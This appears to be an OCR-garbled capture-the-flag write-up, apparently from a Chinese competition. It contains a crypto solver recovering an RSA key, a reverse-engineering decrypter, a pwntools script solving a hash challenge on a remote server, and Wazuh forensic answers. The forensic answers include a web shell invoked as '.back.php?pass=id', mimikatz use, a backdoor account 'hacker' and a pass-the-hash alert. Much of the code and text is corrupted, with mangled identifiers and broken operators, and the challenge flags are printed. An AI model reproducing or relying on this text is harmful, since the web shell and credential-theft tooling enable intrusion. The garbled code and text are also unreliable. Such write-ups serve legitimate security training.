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RIGIR

1 from sage.all import =

2 from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse_mod
3

4

5 exponent_a = 58

6 prime_r = 677

7  1lcm_255 = reduce(lcm, range(l, 256))

8 prime_p = 2**exponent_a * prime_r * lcm_255 - 1
9

10

11 field_F = GF(prime_p**2, modulus=[1, 0, 1], name='1")
12

13

14  elliptic_curve_E = EllipticCurve(field_F, [0, 1])
15 elliptic_curve_E.set_order((prime_p + 1)*%2)

16

17

18 P = elliptic_curve_E(P)

19 Q = elliptic_curve_E(Q)

20

21

22 weil_reference = P.weil_pairing(Q, prime_p + 1)
23

24

25 recovered_bytes = []

26

27  for point_pair in gift:

28 (x1, yl1), (x2, y2) = point_pair

29

30

31 vl = yl*x2 — x1%%3



32 V2 = y2%%x2 — X2%%3

33 delta_v = vl - v2

34 delta_x = x1 - x2

35 aa = delta_v / delta_x

36 bb = vl - aa * x1

37

38 # HEXT A9 %

39 curve_i = EllipticCurve(field_F, [aa, bb])

40

41 # EXZBL FR=

42 pt_p = curve_i(x1l, yl)

43 pt_q = curve_i(x2, y2)

44

45 found = False

46 for byte_candidate in range(l, 256):

47 order_candidate = 2%*exponent_a * byte_candidate
48 try:

49 # 1tE weil Hoxd

50 weil_current = pt_p.weil_pairing(pt_q, prime_p + 1)
51 # WMBEEIXTE S ILECTiRA

52 if weil_current == weil_reference ** order_candidate:
53 recovered_bytes.append(byte_candidate)
54 print (f"HIIMEFT: {byte_candidate}")
55 found = True

56 break

57 except:

58 continue

59

60 if not found:

61 raise ValueError ("TEMEF T, BREWMABIEZSTE")
62

63 # ========== HIENEH] pp ==========

64 pp = int.from_bytes(bytes(reversed(recovered_bytes)), byteorder='big')
65 print(f"MmER pp EH: {pp}")

66

67 # ========== [JF qq HEFE RSA ==========

68 qgq =n // pp

69 phi = (pp - 1) * (qq - 1)

70  private_exponent = dinverse_mod(e, phi)

71

72  decrypted_message = pow(c, private_exponent, n)
73  flag = long_to_bytes(decrypted_message)

74  print("Flag:", flag)

75 #flag{Simple_IsOgeNy_7rlick_t0O_Recov3r_Fla9}

Lesscommon



D-810&FRIZHIATFE K,

® 54  sub_1l400e16he(&qword_14003D8CR, "Enter flag to check: ");
® 55 sub_14@ee1Eee(input);
® 56 sub_l4e001E90(&gword_14@03DA9%90, input);
® 57 LOBYTE(v5) = sub_14@@@1EE@(input);
©58 if ( (vs &1) !l=8)
59 {
® 60 vlil = 1;
61 }
62 else
63 {
® 64 sub_1400015F0(&v17, v5, vE);
® 65 sub_148001Fee(input, &end);
® 66 sub_148001F60(input, &start);
® 67 sub_148@01FBe(input_1, start, end, &v17);
® 638 vle = 8 - sub_l4eee2e70(input_1) % 8uLL;
® 69 for (1 =0OLL; 1 < v1@; ++i )
70 {
e 71 vl4d = v1e;
® 72 sub_14eee28A0(input_1, &vl4);
73 }
® 74 sub_14e0028De(v13, 12LL);
® 75 key_schedule(v13, key);
® 76 encrypt(vl3, encrypted, input_1);
° 77 if ( (sub_1400029C0(data) & 1) == 0 )
78
® 79 if ( (sub_14@0029F@(cndrypted, data) & 1) =0 )
® 80 v7 = sub_l1406e16A8(&qword_14003D8C6, "Correct!");
81 else
® 82 v7 = sub_14eeel6Ae(&qword_140€3D8Ce, "Wrong!");
e 83 sub_140002B50(v7, sub_140002B70);
84 }
e 85 v1lil = @;
® 86 sub_140002BEB(encrypted);
® 87 sub_140002C00(v13);
® 88 sub_140002BE@(input_1);

(0]
0
—

A ZRERNESR, Bl vi3 . EESWNEBRE, 5HEUERZ

ARG ER

1 #include <stdint.h>

2  #include <stdio.h>

3

4  #define ROTL(x, y) (((x) << (y & Ox1F)) | ((x) >> (0x20 - (y & Ox1F))))
5 #define ROTR(x, y) (((x) >> (y & Ox1F)) | ((x) << (0x20 - (y & Ox1F))))
6

7 unsigned char data[] = {

8 Ox4C, Ox6F, OxAB, OxF3, 0x13, Ox78, OxE2, OxF6, Ox86, Ox9D,

9 0x1C, Ox99, OxDE, Ox85, OxCC, 0x10, OXxE8, 0Ox28, OxXEE, 0Ox05,

10 0x92, Ox21, Ox4B, Ox34, 0x43, 0x28, O0x17, Ox3C, Ox56, Ox5B,

11 Ox73, Ox51, Ox9F, Ox8A, Ox1D, OxOF, Ox97, Ox34, Ox2C, 0x56,

12 Ox42, OX9F, Ox69, 0x48, OxA3, OxD5, Ox8A, OXF5

13 };

14

15 unsigned char key[] = {



16 0xB4, 0x75, 0x90, OXE2, 0x59, 0x85, OxF2, OXBB, OXAA, OXA3,

17 OxCE, Ox01, OxA9, Ox06, Ox2F, OxC3, OxD2, OxCB, Ox2B, 0x32,
18 OxFD, 0Ox47, Ox69, 0x4B, Ox76, Ox96, Ox5A, OxC6, OxDE, 0Ox21,
19 OxEC, OxE6, Ox79, Ox46, Ox0D, OxFC, OxE4, Ox7B, OxAD, OxFB,
20 0x32, Ox20, Ox6A, Ox1E, 0x99, Ox07, Ox15, O0x47, Ox3F, Ox73,
21 OxA5, OxFC, 0x1C, OxFD, OxD2, OxD7, Ox3D, 0x92, Ox57, OxA9,
22 OxC6, OxD5, OxA4, 0x94, OxA8, OxAB, OxEB, OxD8, OxEO, OxCB,
23 0x21, Ox73, Ox17, Ox04, OxOE, Ox5A, O0x44, 0x42, OxF7, OxA9,
24 OxBD, OxAD, 0Ox16, Ox46, O0xC4, 0x25, O0x09, OxFB, OxCC, Ox9A,
25 Ox8F, Ox16, OxE2, OxF2, Ox6A, OxBE, OxA9, 0x3B, 0x03, OxDB,
26 OXOE, Ox83, OxA2, OxFF

27  };

28

29 void decrypt(unsigned int *data, unsigned int *key, int rounds)
30 {

31 unsigned int tO,tl;

32 unsigned int dO = datal[0];

33 unsigned int dl1 = data[l];

34 for(int i=rounds;i>0 ;i--)

35 {

36 t0 = ROTR((dOAd1),dO) - key[2*xi+1];
37 tl = ROTR((tOAdO),t0) - key[2*i];
38 dl = to;

39 do = ti1;

40 }

41 data[0] = dO - key[0];

42 data[l] = d1 - key[1];

43}

44

45  Hdnt main()

46 {

47 unsigned int *Data = (unsigned int x)data;
48 unsigned int *Key = (unsigned int *)key;
49 for(int i=0; 1i<6; i++)

50 {

51 decrypt(Data+2*i,Key,12);

52 }

53 printf("%s",data);

54 return 0;

55 }

KK

HashBaseWorld



F A Wagner IR RERE AL, Sed BREXRRIPRRRIBRILIE. B ESABHERREERNZ1HE
B, ERBEXEMSEMN SHA3-512 HHEIGHRE, HEEER n TRIE, REREFHEFHFHBHL
1% LUIREX ﬂago

RIGIR

1  Admport wagner

2 dmport secrets

3  dimport hashlib

4 from pwnlib.tubes.remote 1import remote

5

6 # IREERE

7 connection = remote("pwn-e3e657e2e3.challenge.longjiancup.cn", 9999, ssl=True)
8

9  # REXHIEHIE

10 def send_initial_data():

11 connection.recvuntil(b'"x: ")

12 connection.sendline(b"f" x 128)

13 connection.recvuntil(b"y: ')

14 connection.sendline(b"f" % 127 + b"F")
15 connection.recvuntil(b"z: ")

16 connection.sendline(b"f" x 126 + b"FF")
17

18 send_initial_data()

19

20 # RENEZE

21  connection.recvuntil(b"ends with ")

22  suffix_hex = connection.recvline().strip().decode()
23 suffix_data = bytes.fromhex(suffix_hex)

24 modulus = 4722366482869645213711

25

26 # IEFBERESLY]

27  def compute_hash(random_value, modulus_value):

28 byte_length = (modulus_value.bit_length() + 7) // 8

29 random_bytes = random_value.to_bytes(byte_length, 'big')
30 combined_data = random_bytes + suffix_data

31 hash_result = hashlib.sha3_512(combined_data).digest()

32 return int.from_bytes(hash_result, 'big') % modulus_value
33

34 # LRESIRE
35 def create_generator(modulus_value, 1idx):

36 random_val = secrets.randbelow(modulus_value)
37 return wagner.Lineage(compute_hash(random_val, modulus_value), random_val)
38

39  # fEARWagnerE;%
40 def solve_challenge():
41 return wagner.solve(n=modulus, tree_height=3, generator=create_generator)



42

43  messages = solve_challenge()

44

45

46  def send_results(msg_list):

47 byte_len = (modulus.bit_length() + 7) // 8
48 for msg in msg_Tlist:

49 msg_bytes = msg.to_bytes(byte_len, 'big')
50 combined = msg_bytes + suffix_data

51 connection.sendlineafter(b"msg: ", combined.hex().encode())
52

53 send_results(messages)

54

55

56  connection.interactive()

flag{900vGcuHBgJpqTaU3HIgCV9bg05M8Tel}
Siem

HABIR

flagl: EEWipEH4A

192.168.41.143

flag2 : AR &L EIR—HE L DN RIGRIEE R

13

flag3: MEBEBNEIRGRAFETA

hacker

flag4  IRRXWEHE HE R L1TIERM IR TTE ur Utk
http://192.168.41.136/.back.php?pass=id

flags: i Rwazuhld RIXEEFHIHEH# I TR FBE R EEHRICRIEHID

O© o N o 0~ W N K

10 1734511987.34749419

11 flage: IRRBEEXNHBEFIEANIAR

12 mimikatz

13 flag7: iR EEMFRDCRE LRI HE

14  ossec.conf

15  flagh&zl: flag{md5(flagl-flag2-flag3-...-flag6-flag7)?}



3

tsc CC7.1,tsc CC8.1,tsc CC6.1,tsc CC6.8,tsc CC7.2,tsc CC7.3,

2824 Dec 18 @6:22:82 (app) any->/var/log/apache2/access.log

Rule: 31151 (level 18) -> 'Multiple web server 480 error codes from same source ip.'

Src IP: 192.168.41.143

192.168.41.143 - - [18/Dec/2824: H +088@] "GET fzones HTTP/1.1" 484 437 “-" "Mozilla/4.@ (compatible; MSIE 6.8; Windows NT 5.1)"

192.168.41.143 - - [18/Dec/2024: H +000@] "GET /zorum HTTP/1.1" 4@4 437 “-" "Mozilla/4.e (compatible; MSIE 6.8; Windows NT 5.1)"

192.168.41.143 - - [18/Dec/2024:06:22: +00e@] "GET /zoom HTTP/1.1" 484 437 “-" “"Mozilla/4.@ (compatible; MSIE 6.@; Windows NT 5.1)"

192.168.41.143 [18/Dec/2824: : +0ee@] "GET /zoeken HTTP/1.1" 4@4 437 “-" “Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.1)"
.168.41.143 [18/Dec/2024:06:22: +0608] "GET /zips HTTP/1.1" 484 437 "-" "Mozilla/4.@ (compatible; MSIE 6.8; Windows NT 5.1)"
.168.41.143 [18/Dec/2624:06:22:80 +0000] "GET /zip HTTP/1.1" 484 437 "-" "Mozilla/4.e (compatible; MSIE 6.8; Windows NT 5.1)"
.168.41.143 [18/Dec/2624:86:22: +0008] "GET /zipfiles HTTP/1.1" 484 437 "Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1)"
.168.41.143 [18/Dec/2824: E +8888] "GET /zh-tw HTTP/1.1" 4@4 437 "-" “"Mozilla/4.@ (compatible; MSIE 6.8; Windows NT 5.1)"

192.168.41.143 [18/Dec/2824:06:22: +eeee] "GET fzimbra HTTP/1.1" 404 437 " “"Mozilla/4.@ (compatible; MSIE 6.9; Windows NT 5.1)"

192.168.41.142 [18/Dec/20824: H +0e8e] "GET /zh-cn HTTP/1.1" 4@4 437 " Mozilla/4.e (compatible; MSIE 6.0; Windows NT 5.1)"

192.168.41.142 [18/Dec/202 H +0e@e] "GET /zh_CN HTTP/1.1" 4@4 437 “ Mozilla/4.e (compatible; MSIE 6.0; Windows NT 5.1)"

192.168.41.143 [18/Dec/2824:06:22:00 +0000] "GET /zh TW HTTP/1.1" 484 437 “"-" "Mozilla/4.e (compatible; MSIE 6€.8; Windows NT 5.1)"

** plert 1734502922.3835871: - web,accesslog,attack,pci_dss_6.5,pci_dss_11.4,gdpr IV_35.7.d,nist_8@e@ 53 SA.11,nist Bee® 53 SI.4,tsc_CC6.6,tsc_CC7.
1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_€C7.3,

2824 Dec 1B @6:22:02 (app) any->/var/log/apache2/access.log

Rule: 3111 (level 5) -> 'Web server 488 error code.'

Src IP: 192.168.41.143

192.168.41.143 - - [18/Dec/2024:06:22:80 +000@] "GET /zope HTTP/1.1" 4@4 437 "-" “"Mozilla/4.@ (compatible; MSIE 6.@; Windows NT 5.1)"

** pAlert 1734502922.3836341: - web,accesslog,attack,pci dss_6.5,pci_dss_11.4,gdpr IV 35.7.d,nist_8@@ 53 SA.11,nist _86@ 53 SI.4,tsc_CC6.6,tsc _CC7.
1,tsc_CC8.1,tsc_CC6.1,tsc CC6.8,tsc CC7.2,tsc CC7.3,

2024 Dec 18 ©6:22:82 (app) any->/var/log/apache2/access.log

Rule: 31181 (level 5) -> 'Web server 48@ error code.'’

Src IP: 192.168.41.143

192.168.41.143 - - [18B/Dec/2024:06:22:00 +080@] "GET /zone HTTP/1.1" 404 437 "-" "Mozilla/4.9@ (compatible; MSIE 6.@; Windows NT 5.1)"

** alert 1734502922,3836811: - web,accesslog,attack,pci_dss_6.5,pci_dss_11.4,gdpr_IV_35.7.d,nist_8@e@ 53 _SA.1l,nist_8e@_53 SI.4,tsc_CC6.6,tsc_CC7.
1,tsc_CC8.1,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,

2924 Dec 18 @6:22:@2 (app) any->/var/log/apache2/access.log

Rule: 31181 (level 5) -> 'Web server 488 error code.'

Src IP: 192.168.41.143

192.168.41.143 - - [18/Dec/2624:66:22:80 +0600] "GET /zt HTTP/1.1" 484 437 "-" "Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1)"

** plert 1734582988.3837279: - ossec,syscheck,syscheck_entry_modified,syscheck_file,pci_dss_11.5,gpgl3_4.11,gdpr_II_5.1.f,hipaa_164.312.c.1,hipaa
_164.312.c.2,nist_8ee_53_SI.7,tsc_PI1.4,tsc_PI1.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
4 De H 2 dop NV - ne

AP ossec-alerts-18log

413574

win.eventdata.hashes: SHA1=633C92F5A5@0@CDE3235C7FDC386B2BE4C501C48,MD5=84F942C1A4BD60C94EBECEE43E0216C9, SHA256=BBE733452E6CE871D502064948847AAB2
A71F7FEDA2C962BA4BO2F64E2D198F2, IMPHASH=B7A4477FA3GE2ZES287EE76ACAAFCBROSE

win.eventdata.signed: true

win.eventdata.signature: Microsoft Windows

win.eventdata.signatureStatus: valid

win.eventdata.user: NT AUTHORITY\\NETWORK SERVICE

*= plert 1734511868.31644432: - pam,syslog,authentication success,pci_dss_10.2.5,gpgl3_7.8,gpgl3 _7.9,gdpr IV _32.2,hipaa_164.312.b,nist 800 53 AU.
14,nist_8@8_53_AC.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,

2824 Dec 18 @8:37:48 (app) any->journald

Rule: 5581 (level 3) -»> 'PAM: Login session opened.’

User: root(uid=e)

Dec 18 ©8:37:47 app sudo[22436]: pam_unix(sudo:session): session opened for user root(uid=8) by skills(uid=1ee8)

uid: 1eee

** Alert 1734511668.31644864: - syslog,sudo,pci_dss_16.2.5,pci_dss_18.2.2,gpgl3_7.6,gpgl3_7.8,gpgl3_7.13,gdpr_IV_32.2,hipaa_164.312.b,nist_g@e_53
_AU.14,nist_8@8_53_AC.7,nist_8@e_S3_AC.6,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,

2824 Dec 1B @8:37:48 (app) any->journald

Rule: 5482 (level 3) -» 'successful sudo to ROOT executed.”

User: root

Dec 18 ©8:37:47 app sudo[22436]: skills : TTY=pts/5 ; PWD=/home/skills ; USER=root ; COMMAND=/usr/sbin/useradd hacker

tty: pts/S

pwd: /home/skills

command: fusr/sbin/useradd hackeﬂ

** plert 1734511069.31645377: - syslog,adduser,pci_dss_16.2.7,pci_dss_18.2.5,pci_dss_8.1.2,gpgl3_4.13,gdpr_IV_35.7.d,gdpr_IV_32.2,hipaa_164.312.b
shipaa_164.312.a.2.1I,hipaa_164.312.a.2.II,nist_8ee@_53_AU.14,nist_g8@@_53 AC.7,nist_8@@_53_AC.2,nist_80e 53_IA.4,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2824 Dec 18 @8:37:49 (app) any->journald

Rule: 5982 (level 8) -> 'New user added to the system.

User: |hacker

Dec 18 @8:37:47 app useradd[22438]: new user: name=hacker,, UID=1861, GID=18@1, home=/home/hacken, shell=/bin/sh, from=/dev/pts/6

uid: 1ee1

gid: 1ee1

home: /home/hacker

shell: /bin/sh,

** plert 1734511869.31645959: -

pam,syslog,pci_dss_1@.2.5,gpgl3 7.8,gpgl3 7.9,gdpr_IV_32.2,hipaa_164.312.b,nist_8e@ 53 AU.14,nist_8ee 53 AC.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 18 ©8:37:49 (app) any->journald

Rule: 5582 (level 3) -> 'PAM: Login session closed.'

User: root

Dec 18 ©8:37:47 app sudo[22436]: pam_unix(sudo:session): session closed for user root

Tab Size: 4

Plain Text




win.eventdata.processGuid: {5961e9d4-8a31-6762-badl-000000000100}
win.eventdata.processId: 3436

win.eventdata.image: C:\\Windows\\System32\\sppsvc.exe
win.eventdata.imageloaded: C:\\Windows\\System32\\taskschd.dll
win.eventdata.fileVersiol 18.2.19841.3636 (WinBuild.168181.08800)
win.eventdata.description: Task Scheduler COM API

win.eventdata.product: Microsoft® Windows® Operating System
win.eventdata.company: Microsoft Corporation
win.eventdata.originalFilenName: taskschd.dll

win.eventdata.hashes: SHA1=633C92F5A5@0@CDE3235C7FDC386B2BE4C501C48,MD5=84F942C1A4BD60C94EBECEE43E0216C9, SHA256=BBE733452E6CES71D502064948847AAB2
A71F7FEDA2CO962BA4BO2F64E2D198F2, IMPHASH=B7A4477FA3GE2ES287EE76ACAAFCBROSE
win.eventdata.signed: true

win.eventdata.signature: Microsoft Windows
win.eventdata.signaturesStatus: valid

win.eventdata.user: NT AUTHORITY\\NETWORK SERVICE

** Alert 1734511286.31987316: - web,accesslog,system_error,
2024 Dec 18 ©8:40:86 (app) any->/var/log/apache2/access.log
Rule: 31122 (level 5) -> ‘Web server 580 error code (Internal Error).'
Src IP: 192.168.41.143
423586 192.168.41.143 - - [18/Dec/2024:08:40:86 +88@d] "GET f.back.php?pass=i4 HTTP/1.1" 588 185 "-" "curl/8.7.1"

** Alert 1734511224.31907638: - windows,windows_security,authentication_success,pci_dss_10.2.5,gpgl3_7.1,gpgl3_7.2,gdpr_IV_32.2,hipaa_164.312.b,n
ist_8see_53_AU.14,nist_8@e_53_AC.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 18 @8:48:24 (dc) any->EventChannel
Rule: 6@1@6 (level 3) -> "Windows Logon Success
{"win":{"system":{"providerName" : "Microsoft-Windows-Security-Auditing”, "providerGuid”:"{54849625-5478-4994-a5ba-3e3b@328c3ed}", "eventID":"4624" ,"
version”:"2","level”:"@", "task": 12544","opcode":"e"J"keywords":"exsezeeeeeeeeeaeee","systemime"-"zeza 12-18Te8:4@:23. 32417662‘3"eventRecor‘dID"'
"13548" "processID "748","threadID":"2268","channel": "Security", "computer":"DC.skills.cn", "severityValue": "AUDIT_SUCCESS", "message":"\" BiIHE
2 ID:\EVES-1-0-8\r\n\tH P BFE: \EVE-\rAn\EH B VENE-\rAn\EBER ID: \t\texe\r\n\ringE 'ir_-\t\tB\r‘\n\t_v_'
, \t\tz\f‘\ﬂ\ﬂ AR AR VEVER AP\ r\nBEIAR A AEVEEE rAn\r\n 3
SAENESKILLS. CNAF\RANEE S ID:\t\tex882ADE\r\n\t 53¢
t- \I‘\F\\t’\‘}‘,j GUID \t\t{5771ale6-5e19- Tth b5es- leihe1f9f645)\r\n\r\n 2 y ID:\t\texe
s : fhk: \t: 21\ r\n\t M 51 ) B \t\tKerb
er‘os\r‘\n\t;ﬂ-} i \tKer‘ber‘os\r‘\n\t ; t \r‘\n\t"’?E %(xﬂ
NTLM) = \t \rin\t < RE -\t\te\r\n\r\nﬂ;__u,_ T , BEHHEN RN LTS } Sk o] g — AR (i
A b i ;(“JxH Winlogon.exe = Services. cxe) \r\n\r\n“*‘ E3 ? . B r\n\r\n“ﬂr o
: ArAn\rin

] i

-rc\r‘\ﬂ\t _wfs %54 {3 X : ETAE NTLM

\ri\n\t- "?iﬁt\ B, T 58 e, \""}, "eventdata”:{"subjectUsersid":"s-1-6-8", "subj
ectLogonId” ', "targetUsersid :"S—J.—S—J.B 5 targetUser‘Name e DC$' "SKILLS.CN", "targetLogonld" “exgs2ade”, "logonType":"3",
gonProcesshame" : "Kerberos", "authenticationPackageName": "Kerberos", id": th":"@"

Tah Size- 4 Plain Taxr

AP ossec-alerts-18log

win.eventdata.logonId: @x74fe3s

win.eventdata.terminalSessionId: 1

win.eventdata.integritylLevel: High

win.eventdata.hashes: SHA1=E9BE2FB86E3A3BFFO2D1953AECCFOED22284596D4 , MD5=CB6CD@IFEA25744ABFAGEAB3EAD260CS, SHA256=265B69@33CEATASFE214A34CD9B179129
B9AF46C7A47395DD7BBB93A24507ESS, IMPHASH=272245E 2988E1E430500B852CAFBSELS

win.eventdata.parentProcessGuid: {5961e29d4-8cb8-6762-6602-0a000000efee}

win.eventdata.parentProcessId: 7352

win.eventdata.parentImage: C:\\Users\\skills\\Desktop\\m\\x64\\mimikatz.exe

win.eventdata.parentCommandLine: \"C:\\Users\\skills\\Desktop\\m\\x64\\mimikatz.exe\"

win.eventdata.parentUser: PC\\skills

497664  ** Alert 1734511987.34749419: mail - security_event, windows,
2824 Dec 18 88:53:87 (pc) any->EventChannel
Rule: 11eee7 (level 12) -> "Possible Pass the hash attack"
"system" :{ "providerName"” : "Microsoft-Windows-Security-Auditing”, “providerGuid" : "{54849625-5478-4994-a5ba-3e3b0328c30d}", "eventID": "4624" , "
- “opcode"” "keywords" : "@x8620008000000600" , "systenTime":"2024-12-18T08:53: 06. 83890042", "eventRecordI
“69858", processm :"724","threadID":"2188", "channel”: "Security", "computer":"PC.skills.cn", "severityValue" : "AUDIT_SUCCESS","message":"\"BHhEF
. \rAn\rinfi \r\n\t#&$ ID: \t\ts 1-5-21- 86285299? 2637332163-1716497662-1801\r \n\t i \t\TPC\r‘\n\t"‘ri 1D:\t\tex3
CFoAB\r\n\Pr\nE s s ER%ER B = iR P’J%I‘ﬂ; \t\tS \r\n\r\n%” AR A NN A\ rAn S &
,-_“-.:\r\n\t‘;‘fﬁ- ID:
tadmmlstrator\r\n\w\], :\‘ESklllS cn\r‘\n\t"“ 2
B \r\n\ti# 2 1D: \t\texzzaa\r\n\n#x B \t\t( \\wmdous\\systemsz\\svchost exe\r\n\r

Late'\r\n AR L - \r\n\tmgﬁ%v“'
NTLM) : \t-\r\n\t t\te\r\n\r\nflEEE R &EN, FERHONHTENLE
i

A4 Winlogon.exe =Y Services. (-."xe)‘,\i“\n\r\n"’“‘""‘’QlJ § B R VA 2 _ r\n\r\n”x

o \rin\rhn“ s i ¥ £ p \r\n\r\n"‘f."

1} 4’1'5??]?"# "T e \r\n\t-“g iH[’I‘”?uT\-‘-M:ﬁn‘ HSEE. NRRAI “"},"eventdata®:{"subjectUserSid":"S-1-5-21-86285
2987-2037332163-17164970862-1801" , "subjectUserName” : "skills", "subjcctDnmalnNam "PC“,"suhjncthgnnId":"BthFQaG”,"tar‘getUschid‘: 5-1-5-21-862852
987-2037332163-1716497062-1801", "targetUserName”: "skills", "targetDomainName": "PC", "targetLogonId": "@x74fe36", "logonType™: "9", "logonProcesshName"” : "
secloge”, "authenticationPackageName": "Negotiate","logonGuid": " {0eeease0-200e-0e0e-000e-008800088800} ", "keyLength": "0", "processId" : "ex22a0", "proce
ssName”: "C:\\\\Windows\\\\System32\\\\svchost.exe","ipAddress ", "ipPort”:"e", "impersonationLevel":"%%1833", "targetOutboundUserName” : "adminis
trator”, “targetOutboundDomainName”: "skills.cn”, "virtualAccount”: "%%1843", "targetLinkedLogonId":"exe", "elevatedToken" : "%%1842"}}}
win,system.providerName: Microsoft-Windows-Security-Auditing
win.system.providerGuid: {54849625-5478-4994-a5ba-3e3be328c3ed}
win.system.eventID: 4624
win.system.version: 2
win.system.level: @
win.system.task: 12544
win.system.opcode: @

.system.keywords: 8x8826080000006000 2
Tab Size- 4 Plain Text




File attributes: ARCHIVE
(Audit) User name: skills
(Audit) Process id: 2668
{Audit) Process name: C:\Users\skills\AppData\Local\Microsoft\OneDrive\OneDriveStandaleneUpdater.exe

What changed:

¢ {"ECS":{"DisableConfiglog"”:true,“CacheExpiryInMin":72@}, "0DSP_Sync_Clien {"settings":{"@":"Prod"}, "Ramps”:{"8" :true}}, "Header
< s":1{"ETag": "\"jeytox7ArHXTyAIbhQ28+KjOUe6BUVHds+II+DqydRc=\"", "Expires": "Wed, 18 Dec 2024 18:32:3@ GMT","CountryCode":"CN","Sta
< tusCode":"200"}, "ConfigIDs":{"ECS":"P-R-54894-1-3,P-R-53736-1-8", "ODSP_Sync_Client":"P-D-27657-4-3"}}

> {"ECS":{"DisableConfiglLog":true,"CacheExpiryInMin”:72@},"0DSP_Sync_Client":{"Settings":{"e":"Prod"}, "Ramps”:{"8" :true}}, "Header
> s":{"ETag": "\ " jeyt9x7ArHXTyAIbhQ38+K jOUe6BuVHdSs+II+DqydRc=\"", "Expires":"Wed, 18 Dec 2024 19:27:54 GMT","CountryCode":"CN","Sta
> tusCode":"20@"}, "ConfigIDs":{"ECS": "P-R-54894-1-3,P-R-53736-1-8", "ODSP_Sync_Client":"P-D-27657-4-3"}}

** plert 1734586876.8993749: - ossec,syscheck,syscheck_entry_added, syscheck_file,pci_dss_11.5,gpgl3_4.11,gdpr_II_5.1.f,hipaa_164.312.c.1,hipaa_16
4.312.c.2,nist_8e@_53 _SI.7,tsc_PIl.4,tsc_PI1.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 18 @7:27:56 (pc) any-»>syscheck
Rule: 554 (level 5) -» 'File added to the system.
128296 File 'c:\users\skills\appdata\local\temp\vmware-skllls\vmwarednd\de992cd3*mimikatzftrunk (1).zip' added
Mode: whodata

Attributes:
- size: 1286166
- pPermissions: Administrators (allowed): DELETE|READ_CONTROL|WRITE_DAC|WRITE_OWNER|SYNCHRONIZE |READ_DATA|WRITE_DATA|APPEND_DATA|READ_EA|WRITE_EA
| EXECUTE | READ_ATTRIBUTES |WRITE_ATTRIBUTES, skills (allowed):
DELETE | READ_CONTROL |WRITE_DAC |WRITE_OWNER | SYNCHRONIZE | READ_DATA|WRITE_DATA|APPEND_DATA|READ_EA|WRITE_EA|EXECUTE|READ_ATTRIBUTES |WRITE_ATTRIBUTES
- Date: Wed Dec 18 87:27:86 2824
- Inode: &
- User: skills (S5-1-5-21-862852907-2037332163-1716497862-1001)
- MD5: d2d3e1f8623b12fb89edeac7e8ecd?db
SHA1: 4112ef95386eadd1131be7c60@d49a318e9d8FSh
SHA256: 7accd179e8a6b2fc987e7e8dB87c52a7f48084852724b@3d25bebcadalacheas
File attributes: ARCHIVE
(Audit) User name: skills
(Audit) Process id: 6792
(Audit) Process name: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

** Alert 1734586876.8555816: -
windows,windows_security,pci_dss_18.2.5,gdpr_IV_32.2,hipaa_164.312.b,nist_8e@_53_AU.14,nist_8@8_53_AC.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 1B @7:27:56 (dc) any->EventChannel
Rule: 60137 (level 3) -> 'Windows User Logoff'
O 29 charact Plain Text

7

AP | ossec-alerts-18log

win.eventdata.targetUsersid: 5-1-5-18
win.eventdata.targetUserName: SYSTEM
win.eventdata.targetDomainName: NT AUTHORITY
win.eventdata.targetLogonId: ex3e7

win.eventdata.logonType: 5

win.eventdata.logonProcesshame: Advapi
win.eventdata.authenticationPackageName: Negotiate
win.eventdata.logonGuid: {@@eoeeoe-peee-9000-0000-000000000000}
win.eventdata.keyLength: @

win.eventdata.processId: ex2ce

win.eventdata.processName: C:\\Windows\\System32\\services.exe
win.eventdata.impersonationLevel: %%1833
win.eventdata.virtualAccount: %%1843
win.eventdata.targetLinkedLogonId: @xe
win.eventdata.elevatedToken: %%1842

** plert 1734512785.36097749: - ossec,syscheck,syscheck_entry_deleted,syscheck_file,pci_dss_11.5,gpgl3_4.11,gdpr_IT_5.1.f,hipaa_164.312.c.1,hipaa
164.312.c.2,nist_8@@ 53 SI.7,tsc_PI1.4,tsc_PI1.5,tsc_CC6.1,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 18 ©9:06:25 (dc) any->syscheck
Rule: 553 (level 7) -» 'File deleted.'
528885 File 'c:\uscr‘s\administr‘atur\desktop\lﬂssec.cclnF' deleted
Mode: whodata

Attributes:
- Size: 18137
- Permissions: SYSTEM (allowed): DELETE|READ_CONTROL |WRITE_DAC|WRITE_OWNER|SYNCHRONIZE |READ_DATA|WRITE_DATA|APPEND_DATA|READ_EA|WRITE_EA|EXECUTE
|READ_ATTRIBUTES |WRITE_ATTRIBUTES, Administrators (allowed): DELETE|READ_CONTROL |WRITE_DAC|WRITE_OWNER|SYNCHRONIZE |READ_DATA|WRITE_DATA|APPEND_D
ATA|READ_EA|WRITE_EA|EXECUTE|READ_ATTRIBUTES |WRITE_ATTRIBUTES, Administrator (allowed):
DELETE | READ_CONTROL |WRITE_DAC|WRITE_OWNER |SYNCHRONIZE | READ_DATA|WRITE_DATA|APPEND_DATA|READ_EA|WRITE_EA|EXECUTE|READ_ATTRIBUTES |WRITE_ATTRIBUTES
- Date: Wed Dec 18 87:26:12 2824
- Inode: &
- User: Administrators (S-1-5-32-544)
- MD5: e9a31985bade80dbbasa6fdf3d3lfzel
SHAL: bddc37a26d515ceeadad7564atedc754dbcas3d3
SHA256: 4eblBb2d856fc3f38995f1fd1fc8afB8bIbs515¢59Bbb299e5ede321b888a54ba
File attributes: ARCHIVE
(Audit) User name: Administrator
- (Audit) Process id: 396
(Audit) Process name: C:\Windows\System32\WindowsPowersShell\vl.e\powershell.exe

